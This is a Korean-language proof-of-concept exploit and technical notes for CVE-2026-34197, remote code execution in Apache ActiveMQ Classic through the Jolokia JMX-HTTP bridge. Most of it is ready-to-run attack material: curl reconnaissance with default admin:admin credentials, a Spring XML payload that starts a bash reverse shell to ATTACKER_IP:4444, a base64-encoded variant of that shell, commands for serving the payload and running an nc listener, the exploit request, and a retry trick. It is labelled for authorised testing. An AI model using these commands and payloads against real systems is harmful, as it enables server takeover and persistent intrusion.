
CVE-2026-34197에 대한 개념 증명 익스플로잇으로, Jolokia의 addNetworkConnector를 통한 Apache ActiveMQ의 RCE이며, 기술 노트와 리버스 셸 페이로드를 포함합니다.
addNetworkConnector RCECVE-2026-34197에 대한 개념 증명 및 기술 노트입니다. Jolokia JMX-HTTP 브리지를 통해 접근 가능한 Apache ActiveMQ Classic의 원격 코드 실행 취약점입니다.
conf/jolokia-access.xml)이 모든 org.apache.activemq:* MBean에 대해 exec 권한을 부여합니다. 여기에는 vm:// 전송 URI를 허용하는 Broker.addNetworkConnector(String)이 포함되며, 브로커는 해당 URI의 brokerConfig 쿼리 매개변수를 가져와 Spring XML 빈 정의 파일로 파싱합니다. 클래스가 java.lang.ProcessBuilder이고 인 빈은 Spring이 빈 그래프를 해석하는 부수 효과로 인스턴스화 — 그리고 시작됩니다. 역직렬화 가젯 체인은 필요하지 않습니다.init-method="start"⚠️ 승인된 테스트/연구/CTF 용도로만 사용하십시오. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마십시오.
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool
Broker MBean에서 exec가 실제로 도달 가능한지 확인합니다:
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
| python3 -m json.tool | grep -A3 addNetworkConnector
addNetworkConnector(String)은 단순한 vm://... URI를 허용하지 않습니다 — 먼저 디스커버리 에이전트 URI로 파싱되며, vm은 등록된 디스커버리 스킴이 아닙니다(DiscoveryAgent scheme NOT recognized: [vm]). ActiveMQ의 정적 디스커버리 스킴인 static:(...)으로 감싸면 내부의 vm:// URI가 수정 없이 전달됩니다:
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)
poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
<![CDATA[...]]> 래퍼가 필요한 이유는 리버스 셸 원라이너에 &가 포함되어 있어 XML이 이를 엔티티 참조의 시작으로 파싱하려 하기 때문입니다. 이스케이프가 필요 없는 대안으로 명령을 base64로 인코딩할 수도 있습니다:
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>
서빙:
python3 -m http.server 8000
리스너 시작:
nc -lvnp 4444
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
}'
Origin 헤더가 중요합니다. 이 버전의 jolokia-access.xml에 CORS 강제가 활성화되어 있으면(<cors></cors> 블록, 비어 있더라도), Jolokia는 상태 변경 요청에 대해 올바른 형식의 Origin/Referer를 요구합니다. 이를 생략하면 정책 거부 응답이 반환되며, 실제로는 패치되지 않았는데 패치된 것처럼 보일 수 있습니다.
성공적인 호출은 다음을 반환합니다:
{"value":"NC","status":200}
이 호출은 HTTP를 통한 블라인드 호출입니다 — 명령 출력을 담은 응답 본문이 없으므로 — 이전 단계의 리스너가 실제로 셸을 포착합니다.
InstanceAlreadyExistsException 함정addNetworkConnector(String)은 전달하는 URI와 관계없이 항상 결과 JMX 객체를 커넥터 이름 NC 로 등록합니다. 이는 요청에서 파생된 것이 아니라 ActiveMQ 자체에 하드코딩된 기본값입니다:
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";
BrokerViewMBean.addNetworkConnector(String discoveryAddress)는 이를 재정의할 방법을 노출하지 않습니다 — 등록된 ObjectName을 변경하는 이름/쿼리 매개변수 트릭은 없습니다(수동 테스트: static:(...) 래퍼 외부에 ?name=whatever를 추가하면 조용히 무시됩니다).
결과: 두 번째 addNetworkConnector 호출 — 손상된 페이로드 후의 자체 재시도이거나 이전 성공적인 실행에서 커넥터가 이미 등록되었기 때문이거나 — 실패합니다:
{
"error_type": "java.io.IOException",
"error_type_jmx": "javax.management.InstanceAlreadyExistsException",
"error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
"status": 500
}
이것은 브로커 재시작이 필요하지 않습니다. Broker는 동일한 Jolokia 정책을 통해 removeNetworkConnector(String)도 노출합니다(org.apache.activemq:*에 대한 <allow operation="*"> 권한은 이 작업뿐만 아니라 모든 브로커 작업을 포함합니다). 이름으로 오래된 커넥터를 정리하고 재시도하십시오:
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}'
성공적인 호출은 {"value":true,"status":200}을 반환합니다. 즉시 3단계를 다시 실행하십시오 — NC를 다시 등록하고 poc.xml을 다시 실행합니다.
admin HTTP Basic 자격 증명과 동일한 것이 아닙니다. 이는 OS 계정과 무관합니다.addNetworkConnector는 Spring 빈을 한 번만 실행하는 것이 아닙니다 — 브로커에 활성 네트워크 커넥터 객체를 등록된 상태로 남깁니다(org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC). 이는 생성된 프로세스 자체의 지속성과 무관하게, 침투의 지속적인 산출물입니다.NetworkBridgeConfiguration.java — private String name = "NC"; 기본값의 소스BrokerViewMBean.java — addNetworkConnector / removeNetworkConnector JMX 인터페이스NetworkConnector.javaDiscoveryNetworkConnector.java